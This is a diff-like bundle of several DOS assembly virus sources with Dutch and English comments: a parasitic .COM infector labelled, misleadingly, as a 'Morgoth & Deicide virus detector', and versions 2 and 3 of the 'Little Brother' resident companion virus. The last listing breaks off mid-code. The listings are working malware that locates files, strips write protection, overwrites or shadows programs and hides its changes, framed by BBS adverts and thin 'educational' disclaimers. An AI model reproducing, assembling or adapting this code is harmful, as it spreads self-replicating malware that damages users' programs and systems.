Xor DX,DX ;
|
||||
Int 21h ;------------------
|
||||
Xor DX,DX ; Bepalen van de variabele sprongen
|
||||
Add AX,100h ; in het virus (move-routine)
|
||||
Mov Sprong,AX ;
|
||||
Add AX,MovLen ;
|
||||
Mov Source,AX ;------------------
|
||||
Mov AH,40H ; Move routine bewaren aan
|
||||
Mov DX,Offset Mover ; einde van file
|
||||
Mov CX,MovLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,40H ; Eerste deel programma aan-
|
||||
Mov DX,Buff1 ; voegen na Move routine
|
||||
Mov CX,VirLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,42h ; File Pointer weer naar
|
||||
Mov AL,0 ; het begin van file
|
||||
Xor CX,CX ; sturen
|
||||
Xor DX,DX ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,40h ; En programma overschrijven
|
||||
Mov DX,Offset Begin ; met code van het virus
|
||||
Mov CX,VirLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,57h ; Datum van aangesproken file
|
||||
Mov AL,1 ; weer herstellen
|
||||
Pop DX ;
|
||||
Pop CX ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,3Eh ; Sluiten file
|
||||
Int 21h ;------------------
|
||||
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
|
||||
Mov Source,BX ; op normaal zetten voor
|
||||
Mov AX,Buf1 ; de Move routine
|
||||
Mov Sprong,AX ;------------------
|
||||
Mov AH,1Ah ; DTA adres weer op normaal
|
||||
Mov Dx,80h ; zetten en naar de Move
|
||||
Int 21h ; routine springen
|
||||
Jmp CS:[Sprong] ;------------------
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; All variables are stored in here, like filehandle, date/time,
|
||||
; search path and various buffers.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
FH DW 0
|
||||
FindPath DB '*.COM',0
|
||||
|
||||
Buf1 DW 0
|
||||
Buf2 DW 0
|
||||
|
||||
Sprong DW 0
|
||||
Source DW 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; This will contain the relocator routine, located at the end of
|
||||
; the ORIGINAL file. This will tranfer the 1st part of the program
|
||||
; to it's original place.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Mover:
|
||||
Mov DI,Offset Begin ;------------------
|
||||
Mov SI,Source ; Verplaatsen van het 1e deel
|
||||
Mov CX,VirLen-1 ; van het programma, wat achter
|
||||
Rep Movsb ;------------------
|
||||
Pop DI ; Opgeslagen registers weer
|
||||
Pop SI ; terugzetten op originele
|
||||
Pop SS ; waarde en springen naar
|
||||
Pop ES ; het begin van het programma
|
||||
Pop DS ; (waar nu het virus niet meer
|
||||
Pop DX ; staat)
|
||||
Pop CX ;
|
||||
Pop BX ;
|
||||
Pop AX ;
|
||||
Popf ;
|
||||
Mov BX,100h ;
|
||||
Jmp BX ;------------------
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Only the end of the virus is stored in here.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Einde db 0
|
||||
|
||||
Code Ends
|
||||
End Begin
|
||||
|
||||
@@ -0,0 +1,256 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Morgoth & Deicide virus detector ³
|
||||
;ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
||||
;³ This will be a Parasytic Non-Resident .COM infector. ³
|
||||
;³ It will also infect COMMAND.COM. ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
.MODEL TINY
|
||||
|
||||
Public VirLen,MovLen,PutMsg
|
||||
|
||||
Code Segment para 'Code'
|
||||
Assume Cs:Code,Ds:Code,Es:Code
|
||||
|
||||
Org 100h
|
||||
|
||||
Signature Equ 0CDABh ; Signature of virus is ABCD!
|
||||
MorgSig Equ 0AdDeh ; Signature of morgoth is DEAD!
|
||||
DeiSig Equ 0d90h ; Signature of deicide is 900D!
|
||||
|
||||
BegMonthAct Equ 11 ; Begin Month of activation
|
||||
EndMonthAct Equ 12 ; End Month of activation
|
||||
BegDayAct Equ 11 ; Begin Day of activation
|
||||
EndDayAct Equ 25 ; End Day of activation
|
||||
|
||||
ActString Equ CR,LF,'Brotherhood... I am seeking my brothers "DEICIDE" and "MORGOTH"...',CR,LF,EOM
|
||||
MorgString Equ CR,LF,'Found my brother "MORGOTH"!!!',CR,LF,EOM
|
||||
DeicideString Equ CR,LF,'Found my brother "DEICIDE"!!!',CR,LF,EOM
|
||||
|
||||
CR Equ 13 ; Return
|
||||
LF Equ 10 ; Linefeed
|
||||
EOM Equ '$' ; Einde Tekst
|
||||
|
||||
Buff1 Equ 0F000h
|
||||
Buff2 Equ Buff1+2
|
||||
VirLen Equ Offset Einde-Offset Begin
|
||||
MovLen Equ Offset Einde-Offset Mover
|
||||
Proggie Equ Offset DTA+1Eh
|
||||
|
||||
MinLen Equ Virlen ;Minimale lengte te besmetten programma
|
||||
MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; This will contain only macros, for pieces of code which will be
|
||||
; used very often.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; This part will contain the actual virus code, for searching the
|
||||
; next victim and infection of it.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
Begin:
|
||||
Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk
|
||||
DW Signature ; Herkenningsteken virus
|
||||
Oversig:
|
||||
Pushf ;------------------
|
||||
Push AX ; Alle registers opslaan voor
|
||||
Push BX ; later gebruik van het programma
|
||||
Push CX ;
|
||||
Push DX ;
|
||||
Push DS ;
|
||||
Push ES ;
|
||||
Push SS ;
|
||||
Push SI ;
|
||||
Push DI ;------------------
|
||||
|
||||
Mov AH,2Ah ;------------------
|
||||
Int 21h ; Systeemdatum vergelijken met
|
||||
Cmp DH,BegMonthAct ; activatiedatum. Als dit gelijk is
|
||||
Jb InfectPart ; moet word PutMsg aangeroepen, anders
|
||||
Cmp DH,EndMonthAct ; wordt InfectPart aangeroepen.
|
||||
Jg InfectPart ;
|
||||
Cmp DL,BegDayAct ;
|
||||
Jb InfectPart ;
|
||||
Cmp DL,EndDayAct ;
|
||||
Jg InfectPart ;------------------
|
||||
PutMsg: Mov AH,09h ; Activatiebericht wordt getoont en
|
||||
Mov DX,Offset Msg ; de eerste 80 sectoren van de C
|
||||
Int 21h ; drive worden volgeschreven met
|
||||
Int 20h ;
|
||||
|
||||
InfectPart:
|
||||
Mov AX,Sprong ;------------------
|
||||
Mov Buf1,AX ; Spronggegevens bewaren om
|
||||
Mov BX,Source ; besmette programma te starten
|
||||
Mov Buf2,BX ;------------------
|
||||
Mov AH,1Ah ; DTA area instellen op
|
||||
Lea DX,DTA ; $DTA area
|
||||
Int 21h ;------------------
|
||||
Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory
|
||||
Mov Cx,1 ;
|
||||
Lea DX,FindPath ;
|
||||
Int 21h ;------------------
|
||||
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
||||
Jmp Afgelopen ;------------------
|
||||
KijkInfected:
|
||||
Mov DX,DTA+1Ah ;------------------
|
||||
Cmp DX,MinLen ; Kijken of programmalengte voldoet
|
||||
Jb ZoekNext ; aan de eisen van het virus
|
||||
Mov DX,MaxLen ; (langer dan virus)
|
||||
Cmp DX,DTA+1Ah ;
|
||||
Jb ZoekNext ;------------------
|
||||
On2: Mov AH,3Dh ; Zo ja , file openen en file handle
|
||||
Mov AL,2 ; opslaan
|
||||
Mov DX,Proggie ;
|
||||
Int 21h ;
|
||||
Mov FH,AX ;------------------
|
||||
Mov BX,AX ;
|
||||
Mov AH,3Fh ; Lezen 1e 4 bytes van een file met
|
||||
Mov CX,4 ; een mogelijk kenmerk van het virus
|
||||
Mov DX,Buff1 ;
|
||||
Int 21h ;------------------
|
||||
Sluiten: Mov AH,3Eh ; File weer sluiten
|
||||
Int 21h ;------------------
|
||||
Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2
|
||||
Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op
|
||||
Jz Zoeknext ; morgoth virus. Als bestand al besmet
|
||||
Cmp Ax,MorgSig ; is met morgoth, geef bericht en stop
|
||||
Jz MorgHere ; executie!
|
||||
Cmp Ax,DeiSig
|
||||
jz DeiHere
|
||||
Jmp Infect ;------------------
|
||||
MorgHere: Mov Ah,9
|
||||
Mov Dx,Offset Morg
|
||||
Int 21h
|
||||
Int 20h
|
||||
DeiHere: Mov Ah,9
|
||||
Mov Dx,Offset Dei
|
||||
Int 21h
|
||||
Int 20h
|
||||
ZoekNext:
|
||||
Mov AH,4Fh ;------------------
|
||||
Int 21h ; Zoeken naar volgende .COM file
|
||||
Jnc KijkInfected ; Geen gevonden, goto Afgelopen
|
||||
Jmp Afgelopen ;------------------
|
||||
|
||||
Infect:
|
||||
Mov AH,43h ;------------------
|
||||
Mov AL,0 ; Eventuele schrijf-
|
||||
Mov DX,Proggie ; beveiliging weghalen
|
||||
Int 21h ; van het programma
|
||||
Mov AH,43h ;
|
||||
Mov AL,1 ;
|
||||
And CX,11111110b ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,3Dh ; Bestand openen
|
||||
Mov AL,2 ;
|
||||
Mov DX,Proggie ;
|
||||
Int 21h ;------------------
|
||||
Mov FH,AX ; Opslaan op stack van
|
||||
Mov BX,AX ; datum voor later gebruik
|
||||
Mov AH,57H ;
|
||||
Mov AL,0 ;
|
||||
Int 21h ;
|
||||
Push CX ;
|
||||
Push DX ;------------------
|
||||
Mov AH,3Fh ; Inlezen van eerste deel van het
|
||||
Mov CX,VirLen+2 ; programma om later terug te
|
||||
Mov DX,Buff1 ; kunnen plaatsen.
|
||||
Int 21h ;------------------
|
||||
Mov AH,42H ; File Pointer weer naar het
|
||||
Mov AL,2 ; einde van het programma
|
||||
Xor CX,CX ; zetten
|
||||
Xor DX,DX ;
|
||||
Int 21h ;------------------
|
||||
Xor DX,DX ; Bepalen van de variabele sprongen
|
||||
Add AX,100h ; in het virus (move-routine)
|
||||
Mov Sprong,AX ;
|
||||
Add AX,MovLen ;
|
||||
Mov Source,AX ;------------------
|
||||
Mov AH,40H ; Move routine bewaren aan
|
||||
Mov DX,Offset Mover ; einde van file
|
||||
Mov CX,MovLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,40H ; Eerste deel programma aan-
|
||||
Mov DX,Buff1 ; voegen na Move routine
|
||||
Mov CX,VirLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,42h ; File Pointer weer naar
|
||||
Mov AL,0 ; het begin van file
|
||||
Xor CX,CX ; sturen
|
||||
Xor DX,DX ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,40h ; En programma overschrijven
|
||||
Mov DX,Offset Begin ; met code van het virus
|
||||
Mov CX,VirLen ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,57h ; Datum van aangesproken file
|
||||
Mov AL,1 ; weer herstellen
|
||||
Pop DX ;
|
||||
Pop CX ;
|
||||
Int 21h ;------------------
|
||||
Mov AH,3Eh ; Sluiten file
|
||||
Int 21h ;------------------
|
||||
Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer
|
||||
Mov Source,BX ; op normaal zetten voor
|
||||
Mov AX,Buf1 ; de Move routine
|
||||
Mov Sprong,AX ;------------------
|
||||
Mov AH,1Ah ; DTA adres weer op normaal
|
||||
Mov Dx,80h ; zetten en naar de Move
|
||||
Int 21h ; routine springen
|
||||
Jmp CS:[Sprong] ;------------------
|
||||
|
||||
Msg db ActString
|
||||
Morg db MorgString
|
||||
Dei db DeicideString
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; All variables are stored in here, like filehandle, date/time,
|
||||
; search path and various buffers.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
FH DW 0
|
||||
FindPath DB '*.COM',0
|
||||
|
||||
Buf1 DW 0
|
||||
Buf2 DW 0
|
||||
|
||||
Sprong DW 0
|
||||
Source DW 0
|
||||
|
||||
Db '*** Glenn Benton ***'
|
||||
|
||||
DTA DW 64 DUP(?)
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; This will contain the relocator routine, located at the end of
|
||||
; the ORIGINAL file. This will tranfer the 1st part of the program
|
||||
; to it's original place.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Mover:
|
||||
Mov DI,Offset Begin ;------------------
|
||||
Mov SI,Source ; Verplaatsen van het 1e deel
|
||||
Mov CX,VirLen-1 ; van het programma, wat achter
|
||||
Movsb ; deze verplaatsroutine staat.
|
||||
Rep Movsb ;------------------
|
||||
Pop DI ; Opgeslagen registers weer
|
||||
Pop SI ; terugzetten op originele
|
||||
Pop SS ; waarde en springen naar
|
||||
Pop ES ; het begin van het programma
|
||||
Pop DS ; (waar nu het virus niet meer
|
||||
Pop DX ; staat)
|
||||
Pop CX ;
|
||||
Pop BX ;
|
||||
Pop AX ;
|
||||
Popf ;
|
||||
Mov BX,100h ;
|
||||
Jmp BX ;------------------
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Only the end of the virus is stored in here.
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Einde db 0
|
||||
|
||||
Code Ends
|
||||
End Begin
|
||||
@@ -0,0 +1,265 @@
|
||||
;****************************************************************************
|
||||
;* Little Brother version 2
|
||||
;*
|
||||
;* Compile with MASM 4.0
|
||||
;* (other assemblers will probably not produce the same result)
|
||||
;*
|
||||
;* Disclaimer:
|
||||
;* This file is only for educational purposes. The author takes no
|
||||
;* responsibility for anything anyone does with this file. Do not
|
||||
;* modify this file!
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - begin
|
||||
RESPAR equ (FILELEN/16d) + 17d
|
||||
VERSION equ 2
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
DTA equ end+8
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program!
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: cld
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
mov dx,offset ni21
|
||||
lodsw
|
||||
cmp ax,dx ;already installed?
|
||||
je cancel
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
||||
pop bx
|
||||
pop dx
|
||||
popf
|
||||
|
||||
jmp dword ptr cs:[oi21] ;call to old int-handler
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
|
||||
;****************************************************************************
|
||||
|
||||
infect: cld
|
||||
|
||||
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh ;get old DTA
|
||||
int 21
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs ;set new DTA
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21
|
||||
|
||||
call searchpoint
|
||||
push di
|
||||
mov si,offset COM_txt ;is extension 'COM'?
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz do_com
|
||||
|
||||
mov si,offset EXE_txt ;is extension 'EXE'?
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
|
||||
mov ax,3300h ;get ctrl-break flag
|
||||
int 21
|
||||
push dx
|
||||
|
||||
cwd ;clear the flag
|
||||
inc ax
|
||||
push ax
|
||||
int 21
|
||||
|
||||
mov ax,3524h ;get int24 vector
|
||||
int 21
|
||||
push bx
|
||||
push es
|
||||
|
||||
push cs ;set int24 vec to new handler
|
||||
pop ds
|
||||
mov dx,offset ni24
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21
|
||||
|
||||
lds dx,dword ptr [nameptr] ;create the virus (unique name)
|
||||
xor cx,cx
|
||||
mov ah,5Bh
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ;save handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,FILELEN ;write the virus
|
||||
mov dx,offset begin
|
||||
mov ah,40h
|
||||
int 21
|
||||
cmp ax,cx
|
||||
pushf
|
||||
|
||||
mov ah,3Eh ;close the file
|
||||
int 21
|
||||
|
||||
popf
|
||||
jz return1 ;all bytes written?
|
||||
|
||||
lds dx,dword ptr [nameptr] ;no, delete the virus
|
||||
mov ah,41h
|
||||
int 21
|
||||
|
||||
return1: pop ax ;restore int24 vector
|
||||
pop ds
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
pop ax ;restore ctrl-break flag
|
||||
pop dx
|
||||
int 21
|
||||
|
||||
mov si,offset EXE_txt ;change extension to EXE
|
||||
call change_ext ;execute EXE-file
|
||||
|
||||
return: mov ah,1Ah ;restore old DTA
|
||||
pop dx
|
||||
pop ds
|
||||
int 21
|
||||
|
||||
ret
|
||||
|
||||
do_com: call findfirst ;is the COM-file a virus?
|
||||
cmp word ptr cs:[DTA+1Ah],FILELEN
|
||||
jne return ;no, execute COM-file
|
||||
mov si,offset EXE_txt ;does the EXE-variant exist?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return ;yes, execute EXE-file
|
||||
mov si,offset COM_txt ;change extension to COM
|
||||
call change_ext
|
||||
jmp short return ;execute COM-file
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Find the file
|
||||
;****************************************************************************
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* change the extension of the filename (CS:SI -> ext)
|
||||
;****************************************************************************
|
||||
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* search begin of extension
|
||||
;****************************************************************************
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Text and Signature
|
||||
;****************************************************************************
|
||||
|
||||
db 'Little Brother',0
|
||||
|
||||
end:
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
@@ -0,0 +1,308 @@
|
||||
;****************************************************************************;
|
||||
; ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] For All Your H/P/A/V Files [=- ;
|
||||
; -=] SysOp: Peter Venkman [=- ;
|
||||
; -=] [=- ;
|
||||
; -=] +31.(o)79.426o79 [=- ;
|
||||
; -=] P E R F E C T C R I M E [=- ;
|
||||
; -=][][][][][][][][][][][][][][][=- ;
|
||||
; ;
|
||||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||||
; ;
|
||||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||||
; Is. Keep This Code in Responsible Hands! ;
|
||||
; ;
|
||||
;****************************************************************************;
|
||||
;****************************************************************************
|
||||
;* Little Brother version 3
|
||||
;*
|
||||
;* Compile with MASM 4.0
|
||||
;* (other assemblers will probably not produce the same result)
|
||||
;*
|
||||
;* Disclaimer:
|
||||
;* This file is only for educational purposes. The author takes no
|
||||
;* responsibility for anything anyone does with this file. Do not
|
||||
;* modify this file!
|
||||
;****************************************************************************
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg,es:nothing
|
||||
|
||||
.RADIX 16
|
||||
|
||||
FILELEN equ end - begin
|
||||
oi21 equ end
|
||||
nameptr equ end+4
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Install the program!
|
||||
;****************************************************************************
|
||||
|
||||
org 100h
|
||||
|
||||
begin: cld
|
||||
mov sp,300
|
||||
|
||||
mov ax,0044h ;move program to empty hole
|
||||
mov es,ax
|
||||
mov di,0100h
|
||||
mov si,di
|
||||
mov cx,FILELEN
|
||||
rep movsb
|
||||
|
||||
mov ds,cx ;get original int21 vector
|
||||
mov si,0084h
|
||||
mov di,offset oi21
|
||||
mov dx,offset ni21
|
||||
lodsw
|
||||
cmp ax,dx ;already installed?
|
||||
je cancel
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es ;set vector to new handler
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
cancel: push cs ;restore segment registers
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov bx,30 ;free memory
|
||||
mov ah,4A
|
||||
int 21
|
||||
|
||||
mov es,ds:[002C] ;search filename in environment
|
||||
mov di,0
|
||||
mov ch,0FFh
|
||||
mov al,01
|
||||
repnz scasb
|
||||
inc di
|
||||
|
||||
mov word ptr [nameptr],di
|
||||
mov word ptr [nameptr+2],es
|
||||
|
||||
mov si,offset EXE_txt ;change extension to .EXE
|
||||
call change_ext
|
||||
|
||||
push cs
|
||||
pop es
|
||||
mov bx,offset param ;make EXEC param. block
|
||||
mov [bx+4],cs
|
||||
mov [bx+8],cs
|
||||
mov [bx+0C],cs
|
||||
lds dx,dword ptr [nameptr]
|
||||
mov ax,4B00 ;execute .EXE program
|
||||
int 21
|
||||
mov ah,4Dh ;ask return code
|
||||
int 21
|
||||
mov ah,4Ch ;exit with same return code
|
||||
int 21
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* EXEC parameter block
|
||||
;****************************************************************************
|
||||
|
||||
param dw 0, 80, ?, 5C, ?, 6C, ?
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* File-extensions
|
||||
;****************************************************************************
|
||||
|
||||
EXE_txt db 'EXE',0
|
||||
COM_txt db 'COM',0
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 24
|
||||
;****************************************************************************
|
||||
|
||||
ni24: mov al,03
|
||||
iret
|
||||
|
||||
|
||||
;****************************************************************************
|
||||
;* Interupt handler 21
|
||||
;****************************************************************************
|
||||
|
||||
ni21: pushf
|
||||
push dx
|
||||
push bx
|
||||
push ax
|
||||
push ds
|
||||
push es
|
||||
|
||||
cmp ax,4B00h ;execute ?
|
||||
jne exit
|
||||
|
||||
doit: call infect
|
||||
|
||||
exit: pop es
|
||||
pop ds
|
||||
pop ax
|
